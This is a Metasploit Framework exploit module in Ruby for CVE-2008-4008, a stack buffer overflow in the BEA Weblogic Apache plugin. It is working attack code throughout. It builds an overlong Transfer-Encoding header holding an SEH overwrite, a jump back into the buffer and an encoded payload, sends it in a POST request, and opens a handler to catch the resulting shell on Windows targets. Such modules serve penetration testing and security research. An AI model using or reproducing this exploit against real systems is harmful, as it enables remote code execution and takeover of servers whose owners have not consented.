BEA Weblogic Transfer-Encoding Buffer Overflow



##

# $Id: bea_weblogic_transfer_encoding.rb 9744 2010-07-08 23:34:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    HttpFingerprint = { :pattern => [ /Apache/ ] }

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow in the BEA
                Weblogic Apache plugin.  This vulnerability exists in the
                error reporting for unknown Transfer-Encoding headers.
                You may have to run this twice due to timing issues with handlers.
            },
            'Author'         => 'pusscat',
            'Version'        => '$Revision: 9744 $',
            'References'     =>
                [
                    [ 'CVE', '2008-4008' ],
                    [ 'OSVDB', '49283' ],
                    [ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Privileged'     => true,
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'Space'    => 500,
                    'BadChars' => "\x00\x0d\x0a",
                    'StackAdjustment' => -1500,
                },
            'Targets'        =>
                [
                    [  'Windows Apache 2.2 version Universal',
                        {
                            'Ret' => 0x1001f4d6,    #pop/pop/ret
                        }
                    ],
                ],
            'DisclosureDate' => 'Sept 09 2008',
            'DefaultTarget'  => 0))
    end

    def exploit

        sploit = rand_text_alphanumeric(5800)
        sploit[5781, 8] = generate_seh_record(target.ret)
        # Jump backward to the payload
        sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
        sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded

        datastore['VHOST'] = 'localhost'
        send_request_cgi(
            {
                'method'  => 'POST',
                'url'     => '/index.jsp',
                'data'    => '',
                'headers' =>
                    {
                        'Transfer-Encoding' => sploit
                    }
            })

        handler

    end

end